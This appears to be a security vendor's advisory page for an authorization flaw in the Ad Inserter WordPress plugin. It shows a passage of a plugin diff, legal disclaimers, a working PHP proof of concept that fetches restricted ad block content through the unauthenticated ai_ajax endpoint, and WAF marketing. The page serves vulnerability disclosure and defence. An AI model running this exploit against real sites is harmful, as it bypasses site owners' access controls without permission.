 <!--            <a href='https://v3.adxpremium.services/dashboard/register-publisher' class="clear-link" target="_blank"><img id="lm-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>lm-250.jpg" /></a>-->
 <?php   break; case 2: ?>
-<!--            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>-->
+            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-7" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-7.jpg" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break; case 3: ?>
             <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
 <!--            <a href='https://www.media.net/program?ha=e9Pw4uwo2Uw/5xjjsB3lnYZZWUI+hzRSONzDaYA9EwX+3jg/PJYwFshOFEjop5NH2wRNDfr357ZTY1zlhCk7zw%3D%3D&loc=2' class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-media-9" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>contextual-9.gif" /></a>-->
@@ -6523,9 +6561,9 @@
         ?>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-2-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-2.png" /></a>-->
-<!--            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>-->
+            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>
 <!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
-            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
+<!--            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>-->
 <?php   break;
         case 1:
 ?>
@@ -6580,7 +6618,7 @@

         <h3 style="text-align: justify;"><?php _e('Looking for Pro Ad Management plugin?', 'ad-inserter'); ?></h3>
         <h4 style="text-align: justify;"><?php _e ('To Optimally Monetize your WordPress website?', 'ad-inserter'); ?></h4>
-        <h4 style="text-align: justify;"><?php /* Translators: %s: price of Ad Inserter Pro*/ echo sprintf (__('Different license types starting from %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/features" class="simple-link" target="_blank">20 EUR</a>'); ?></h4>
+        <h4 style="text-align: justify;"><?php /* Translators: %s: price of Ad Inserter Pro*/ echo sprintf (__('Different license types starting from %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/features" class="simple-link" target="_blank">30 EUR</a>'); ?></h4>

         <ul class="ai-help">
           <li><?php /* translators: %s HTML tags */ printf (__('%s AdSense Integration %s', 'ad-inserter'), '<a href="https://adinserter.pro/documentation/adsense-ads#integration" class="simple-link" target="_blank">', '</a>'); ?></li>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11983 - Ad Inserter <= 2.8.16 - Missing Authorization to Block Visibility Bypass via ai_ajax

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Change this to the target WordPress site URL

// Vulnerable AJAX endpoint
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// Target ad block number to retrieve (1-96)
$block_number = 1; // Change this to the target block ID

// Build the vulnerable AJAX request parameters
// The 'action' is the standard Ad Inserter AJAX hook, and 'block' is the target block number.
// Adding common parameters to mimic a legitimate request and get the iframe content.
$params = array(
    'action' => 'ai_ajax',          // The Ad Inserter AJAX action hook
    'start' => '',                  // Optional start parameter
    'end' => '',                    // Optional end parameter
    'adsense' => '',                // Optional adsense parameter
    'block' => $block_number,       // Target block number to retrieve
    'iframe' => 1,                  // Request the iframe version to get the block's HTML
    'hide-debug-labels' => 1,       // Optional: hide debug labels
    'ai_check' => 1                 // Optional: parameter to pass through some checks
);

$url = $endpoint . '?' . http_build_query($params);

echo "[+] Sending unauthenticated request to retrieve ad block content..." . PHP_EOL;
echo "[+] Target URL: {$url}" . PHP_EOL;

// Initialize cURL session
$ch = curl_init();

// Set cURL options for the HTTP GET request
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Connection: keep-alive',
));

// Execute the request
$response = curl_exec($ch);

// Check for cURL errors
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . PHP_EOL;
    curl_close($ch);
    exit(1);
}

// Get HTTP status code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close cURL session
curl_close($ch);

// Output the HTTP status code
if ($http_code == 200) {
    echo "[+] HTTP {$http_code} OK. Retrieved content for block {$block_number}:" . PHP_EOL;
    echo "=====================================" . PHP_EOL;
    // Display first 500 characters to avoid flooding the console
    echo substr($response, 0, 500) . PHP_EOL;
    echo "=====================================" . PHP_EOL;
    echo "[+] The block content appears to have been disclosed." . PHP_EOL;
    echo "[!] If the block was set to Admin-only visibility, this is a successful proof of the vulnerability." . PHP_EOL;
} elseif ($http_code == 403 || $http_code == 0) {
    echo "[!] HTTP {$http_code}. The request may have been blocked. Check if the site is patched or if other parameters are needed." . PHP_EOL;
    echo "[!] Response body: " . substr($response, 0, 200) . PHP_EOL;
} else {
    echo "[!] Unexpected HTTP response code: {$http_code}" . PHP_EOL;
    echo "[!] Response body: " . substr($response, 0, 200) . PHP_EOL;
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.